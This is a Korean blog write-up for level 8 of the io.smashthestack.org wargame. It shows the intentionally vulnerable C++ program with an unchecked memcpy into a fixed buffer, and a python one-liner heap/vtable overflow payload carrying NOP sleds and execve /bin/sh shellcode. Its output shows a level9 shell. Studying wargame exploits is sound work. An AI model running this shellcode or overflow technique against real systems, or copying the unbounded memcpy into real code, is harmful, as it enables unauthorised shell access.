티스토리 뷰

// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>
#include <unistd.h>

class Number
{
public:
	Number(int x) : number(x) {}
	void setAnnotation(char *a) 
	{
		memcpy(annotation, a, strlen(a));
	}
	
	virtual int operator+(Number &r) 
	{
		return number + r.number;
	}
private:
	char annotation[100];
	int  number;
};

int main(int argc, char **argv)
{
        if(argc < 2) 
	{
		_exit(1);
	}

        Number *x = new Number(5);
        Number *y = new Number(6);
        Number &five = *x, &six = *y;

        five.setAnnotation(argv[1]);

        return six + five;
}


왜인지 C++이다 ㅋㅋㅋ;; C++ 공부를 하고 있기는 한데 아직 가상함수를 모름..


void setAnnotation(char *a) 

{

memcpy(annotation, a, strlen(a));

}


이 부분에서 overflow취약점이 발생하고 그냥 쉘코드를 넣어서 ret하는건줄 알았는데 ret를 가르키는 또하나의

포인터가 있어야 함. 그래서 NOP다음에 0xbffffaa0을 가르키는 주소를 하나 넣어주었음.


(세그먼트 폴트가 뜨긴 떳는데 0x90909090에서 뜸.. 이상하다 싶어서 pointer로 시도..

제대로된 이해는 X.. ㅠㅠ;, 아마도 five, six가 레퍼런스형이여서 인거 같다.)


`python -c 'print "\x90" * 108 + "\x51\xfa\xff\xbf" + "\xa0\xfa\xff\xbf" * 10 + 

"\x90" * 1024 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`



sh-4.2$ whoami

level9


'Pwnable > io.smashthestack.org' 카테고리의 다른 글

[io.smashthestack.org] level10  (0) 2015.01.05
[io.smashthestack.org] level09  (0) 2015.01.05
[io.smashthestack.org] level07  (0) 2015.01.04
[io.smashthestack.org] level06  (0) 2015.01.04
[io.smashthestack.org] level05  (0) 2015.01.04
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함